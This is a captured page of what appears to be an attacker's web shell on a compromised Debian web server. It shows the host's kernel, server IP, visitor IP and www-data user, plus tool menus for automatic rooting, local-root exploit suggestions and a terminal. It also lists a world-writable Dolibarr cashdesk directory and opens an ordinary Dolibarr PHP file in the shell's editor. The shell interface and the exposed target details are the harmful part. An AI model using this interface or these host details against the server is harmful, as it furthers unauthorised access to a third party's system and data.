Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
speed.bdcloud.fr /
cashdesk /
Delete
Unzip
Name
Size
Permission
Date
Action
admin
[ DIR ]
drwxrwxrwx
2020-09-02 15:32
class
[ DIR ]
drwxrwxrwx
2020-09-02 15:32
css
[ DIR ]
drwxrwxrwx
2020-09-02 15:32
img
[ DIR ]
drwxrwxrwx
2020-09-02 15:32
include
[ DIR ]
drwxrwxrwx
2020-09-02 15:32
javascript
[ DIR ]
drwxrwxrwx
2020-09-02 15:32
tpl
[ DIR ]
drwxrwxrwx
2020-09-02 15:32
.htaccess
510
B
-rw-r--r--
2023-01-18 07:38
affContenu.php
2.82
KB
-rwxrwxrwx
2020-09-02 15:31
affIndex.php
2.11
KB
-rwxrwxrwx
2020-09-02 15:31
affPied.php
1.52
KB
-rwxrwxrwx
2020-09-02 15:31
deconnexion.php
1.38
KB
-rwxrwxrwx
2020-09-02 15:31
facturation.php
4.92
KB
-rwxrwxrwx
2020-09-02 15:31
facturation_dhtml.php
3.72
KB
-rwxrwxrwx
2020-09-02 15:31
facturation_verif.php
8.53
KB
-rwxrwxrwx
2020-09-02 15:31
index.php
35.18
KB
-rwxrwxrwx
2023-01-18 07:38
index_verif.php
5.52
KB
-rwxrwxrwx
2020-09-02 15:31
validation.php
923
B
-rwxrwxrwx
2020-09-02 15:31
validation_ok.php
905
B
-rwxrwxrwx
2020-09-02 15:31
validation_ticket.php
1.44
KB
-rwxrwxrwx
2020-09-02 15:31
validation_verif.php
12.96
KB
-rwxrwxrwx
2020-09-02 15:31
Save
Rename
<?php /* Copyright (C) 2007-2008 Jeremie Ollivier <jeremie.o@laposte.net> * Copyright (C) 2008-2009 Laurent Destailleur <eldy@uers.sourceforge.net> * Copyright (C) 2015 Regis Houssin <regis.houssin@inodbox.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/cashdesk/facturation_dhtml.php * \ingroup cashdesk * \brief This page is called each time we press a key in the code search form to show product combo list. */ if (!defined('NOREQUIRESOC')) define('NOREQUIRESOC', '1'); if (!defined('NOCSRFCHECK')) define('NOCSRFCHECK', '1'); if (!defined('NOTOKENRENEWAL')) define('NOTOKENRENEWAL', '1'); if (!defined('NOREQUIREMENU')) define('NOREQUIREMENU', '1'); if (!defined('NOREQUIREHTML')) define('NOREQUIREHTML', '1'); if (!defined('NOREQUIREAJAX')) define('NOREQUIREAJAX', '1'); // Change this following line to use the correct relative path (../, ../../, etc) require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/cashdesk/include/environnement.php'; top_httphead('text/html'); $search = GETPOST("code", "alpha"); // Search from criteria if (dol_strlen($search) >= 0) // If search criteria is on char length at least { $sql = "SELECT p.rowid, p.ref, p.label, p.tva_tx"; if (!empty($conf->stock->enabled) && !empty($conf_fkentrepot)) $sql .= ", ps.reel"; $sql .= " FROM ".MAIN_DB_PREFIX."product as p"; if (!empty($conf->stock->enabled) && !empty($conf_fkentrepot)) $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."product_stock as ps ON p.rowid = ps.fk_product AND ps.fk_entrepot = '".$conf_fkentrepot."'"; $sql .= " WHERE p.entity IN (".getEntity('product').")"; $sql .= " AND p.tosell = 1"; $sql .= " AND p.fk_product_type = 0"; // Add criteria on ref/label if (!empty($conf->global->PRODUCT_DONOTSEARCH_ANYWHERE)) { $sql .= " AND (p.ref LIKE '".$db->escape($search)."%' OR p.label LIKE '".$db->escape($search)."%'"; if (!empty($conf->barcode->enabled)) $sql .= " OR p.barcode LIKE '".$db->escape($search)."%'"; $sql .= ")"; } else { $sql .= " AND (p.ref LIKE '%".$db->escape($search)."%' OR p.label LIKE '%".$db->escape($search)."%'"; if (!empty($conf->barcode->enabled)) $sql .= " OR p.barcode LIKE '%".$db->escape($search)."%'"; $sql .= ")"; } $sql .= " ORDER BY label"; dol_syslog("facturation_dhtml.php", LOG_DEBUG); $result = $db->query($sql); if ($result) { if ($nbr = $db->num_rows($result)) { $resultat = '<ul class="dhtml_bloc">'; $ret = array(); $i = 0; while ($tab = $db->fetch_array($result)) { foreach ($tab as $cle => $valeur) { $ret[$i][$cle] = $valeur; } $i++; } $tab = $ret; $tab_size = count($tab); for ($i = 0; $i < $tab_size; $i++) { $resultat .= ' <li class="dhtml_defaut" title="'.$tab[$i]['ref'].'" onMouseOver="javascript: this.className = \'dhtml_selection\';" onMouseOut="javascript: this.className = \'dhtml_defaut\';" >'.$tab[$i]['ref'].' - '.$tab[$i]['label'].'</li> '; } $resultat .= '</ul>'; print $resultat; } else { $langs->load("cashdesk"); print '<ul class="dhtml_bloc">'; print '<li class="dhtml_defaut">'.$langs->trans("NoResults").'</li>'; print '</ul>'; } } }